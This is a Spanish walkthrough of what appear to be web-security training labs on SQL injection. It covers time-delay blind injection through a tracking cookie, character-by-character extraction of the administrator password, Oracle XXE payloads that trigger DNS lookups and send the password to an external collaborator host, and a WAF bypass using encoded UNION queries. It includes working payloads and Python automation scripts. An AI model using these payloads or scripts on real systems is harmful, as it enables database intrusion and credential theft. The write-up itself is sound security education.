        url = sys.argv[1].strip()
        trackingid = sys.argv[2].strip()
        session = sys.argv[3].strip()
    except IndexError:
        print('[*] Usage: %s <url> <TrackingId cookie value> <session cookie value>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com aaaaaaaaaa bbbbbbbbbbb' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Retrieving administrator password...')
    
    sqli_password(url, trackingid, session)

if __name__ == '__main__':
    main()

Ataque de Blind SQLi con tiempos de delay

Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.

El resultado de la query no es retornada, sin embargo, la query se ejecuta de forma sincróna, por lo tanto, es posible gatillar una condicional de tiempo con delay para inferir la información.

Para resolver el laboratorio, se debe causar un delay de 10 segundos.

Capturamos el request usando Burp Suite, y vemos que tiene las cookies TrackingId y session:

Inyectamos una comilla simple para validar que sucede con la aplicación:

No presenta errores, por lo tanto, validamos con los siguientes payloads para ver cual tarda 10 segundos en responder:

' || (SELECT SLEEP(10))-- -
' || (SELECT pg_sleep(10))-- -
' || (WAITFOR DELAY '0:0:10')-- -
' || (dbms_pipe.receive_message(('a'),10))-- -

Vemos que es una DB PostgreSQL.

Esto lo podemos automatizar usando el siguiente script:

#!/usr/bin/python3
import requests
import sys
import urllib

requests.packages.urllib3.disable_warnings()

def sqli_time_check(url, trackingid, session):
    payload = "' || (SELECT pg_sleep(10))-- -"
    payload = urllib.parse.quote(payload)
    c = {'TrackingId': trackingid + payload, 'session': session}
    r = requests.get(url, cookies=c, verify=False)
    response_time = r.elapsed.total_seconds()

    if int(response_time) >= 10:
        print('[+] Vulnerable to Blind-based SQLi, response time: %s' %(response_time))
    else:
        print('[-] Not vulnerable to Blind-based SQLi.')

def main():
    try:
        url = sys.argv[1].strip()
        trackingid = sys.argv[2].strip()
        session = sys.argv[3].strip()
    except IndexError:
        print('[*] Usage: %s <url> <TrackingId cookie value> <session cookie value>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com aaaaaaaaaa bbbbbbbbbbb' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Checking if tracking cookie is vulnerable to time-based Blidn SQLi...')
    
    sqli_time_check(url, trackingid, session)

if __name__ == '__main__':
    main()

Ataque de Blind SQLi con tiempos de delay y obtención de información

Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.

El resultado de la query no es retornada, sin embargo, la query se ejecuta de forma sincróna, por lo tanto, es posible gatillar una condicional de tiempo con delay para inferir la información.

Debemos obtener el usuario y contraseña del usuario administrator, el cual, se encuentra en la tabla users.

Capturamos el request usando Burp Suite, y vemos que tiene las cookies TrackingId y session:

Validamos que la cookie es vulnerable:

' || pg_sleep(5) -- -
  • Tiempo con payload:

  • Tiempo sin payload:

Confirmamos si existe tabla users en la DB:

' || (select case when (1=1) then pg_sleep(5) else pg_sleep(-1) end)-- -

Corroboramos que la tabla tenga el usuario administrator:

' || (select case when (username='administrator') then pg_sleep(5) else pg_sleep(-1) end from users)-- -

Enumeramos la longitud de la password:

' || (select case when (username='administrator' and LENGTH(password)=1) then pg_sleep(5) else pg_sleep(-1) end from users)-- -

Para evitar errores, es necesario usar un hilo a la vez.

Ahora, enumeramos la password del usuario administrator:

' || (select case when (username='administrator' and substring(password,1,1)='a') then pg_sleep(5) else pg_sleep(-1) end from users)-- -

Esto lo podemos automatizar usando el siguiente script:

#!/usr/bin/python3
import requests
import sys
import urllib

requests.packages.urllib3.disable_warnings()

def sqli_time_check(url, trackingid, session):
    
    payload = "' || (SELECT pg_sleep(10))-- -"
    payload = urllib.parse.quote(payload)
    c = {'TrackingId': trackingid + payload, 'session': session}
    r = requests.get(url, cookies=c, verify=False)
    response_time = r.elapsed.total_seconds()

    if int(response_time) >= 5:
        print('[+] Vulnerable to Blind-based SQLi, response time: %s' %(response_time))
    else:
        print('[-] Not vulnerable to Blind-based SQLi.')

def main():
    try:
        url = sys.argv[1].strip()
        trackingid = sys.argv[2].strip()
        session = sys.argv[3].strip()
    except IndexError:
        print('[*] Usage: %s <url> <TrackingId cookie value> <session cookie value>' %(sys.argv[0]))
        print('[*] Example: %s www.test.com aaaaaaaaaa bbbbbbbbbbb' %(sys.argv[0]))
        sys.exit(1)

    print('[+] Checking if tracking cookie is vulnerable to time-based Blidn SQLi...')
    
    sqli_time_check(url, trackingid, session)

if __name__ == '__main__':
    main()

Ataque de Blind SQLi con interacción fuera de banda

Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.

La query se ejecuta de forma asíncrona y no tiene efecto en la respuesta de la aplicación. Por lo tanto, se debe gatillar una interacción fuera de banda con algún dominio externo.

Para esto, se debe lograr que se realice un lookup DNS a Burp Collaborator.

Capturamos el request usando Burp Suite, y vemos que tiene las cookies TrackingId y session:

Abrimos el cliente de Collaborator, y copiamos el dominio a usar:

Usamos el siguiente payload para hacer el lookup DNS:

# Oracle no parchado
' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)-- -

Ataque de Blind SQLi con exfiltración de datos fuera de banda

Se tiene una aplicación con una vulnerabilidad de Blind SQLi. Usa una cookie de tracking para análisis, y realiza una query con el valor que esta tenga.

La query se ejecuta de forma asíncrona y no tiene efecto en la respuesta de la aplicación. Por lo tanto, se debe gatillar una interacción fuera de banda con algún dominio externo.

Para esto, se debe obtener la password del usuario administrator, que se encuentra en la tabla users.

Capturamos el request usando Burp Suite, y vemos que tiene las cookies TrackingId y session:

Abrimos el cliente de Collaborator, y copiamos el dominio a usar:

Usamos el siguiente payload para exfiltrar los datos solicitados:

' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users where username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)-- -

Ataque de SQLi con bypass de filtros a través de codificación XML

Se tiene una aplicación con una vulnerabilidad de SQLi en la característica de validación de stock. El resultado de la query es devuelta en la respuesta de la aplicación.

Para esto, se debe obtener la password del usuario admin, que se encuentra en la tabla users.

Dentro de las recomendaciones, se indica que el WAF bloqueará ciertos ataques, y por esto, usar la extensión Hackvertos.

Vemos que al seleccionar un producto, aparece un botón que permite validar el stock de este:

Validamos las columnas de la tabla usando el payload UNION SELECT NULL:

Este payload fue detectado, por lo tanto, debemos codificar esta consulta. Usando la extensión Hackvertor, codificamos con hex_entities:

Con esto podemos determinar que se tiene solo una columna.

Para obtener los datos solicitados, usamos el siguiente payload:

UNION SELECT username || ':' || password FROM users

Last updated